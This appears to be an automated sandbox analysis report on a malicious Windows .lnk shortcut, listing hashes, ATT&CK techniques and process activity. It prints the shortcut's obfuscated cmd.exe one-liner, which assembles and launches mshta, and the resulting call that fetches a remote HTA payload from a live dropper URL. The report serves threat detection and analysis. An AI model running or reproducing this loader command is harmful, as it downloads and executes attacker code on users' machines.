9fa27e92967e12db0a31e20c915fda61c97a749f0588258c207c3451b3576aa5

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 08:23

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General

Target
DOC-UFEBMS.lnk
Size 2KB
Sample260804-kaha1aar7x
SHA256 9fa27e92967e12db0a31e20c915fda61c97a749f0588258c207c3451b3576aa5
MD5 6642ed7b0c6943d04aef2d17dd9eb5e1
SHA1 7e7ecb5624c49b9048c015816ab54d629f0b14eb
SHA512 7c02703ab3776341acb82e4ce6c9cec5b6c2030857a9c0d46b242155f4693e97174657cf0a08112b405eafcf8ed2f6b4266363cd4643e3d4ccde063ddb50d8dd
TLSH
T19B5148812AED4198F3BB8FB2DDFE6751897BFC626D70C59D0801814D1822B40D533B76
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3280	cmd.exe
468	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3280 wrote to memory of 468	3280	cmd.exe	87
PID 468 wrote to memory of 3936	468	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-UFEBMS.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3280
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set exFnY=bakfdoglpbak&&set afaUB=k0sts&&set iJWKq=gdartqu&&set wqC=winorygopsnnwin&&set uzI=datgqswkjvowddmndzwnpdat&&set bWb=cacheqrutvuteshacache&&set CejLD=baklznhlxbak&&set be=tmpztwcctmp&&set OoW=netrrdugtmtjazaernet&&set PIjAv=dbgdgubtkgdbg&&set xNBK=infojcwlkhiypjnnbqtinf&&set Ez=infgynmptmyminf&&set Eruz=oldqbpcogptjvyfuhttdmold&&set dCZd=x9umsec&&set TdZUE=5hexy&&set FuDBF=5m6tau8q&&set Fi=datjfgatnjomcwinbhydwdat&&set oGr=ht@tps:@//@ma-@pdf@fille@r@.@lat@/h/e@[email protected]@p?@r=@3@9146@9FB5D82DB&&start /b !dCZd:~3,2!!TdZUE:~1,1!!FuDBF:~3,2! !oGr:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:468
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3936

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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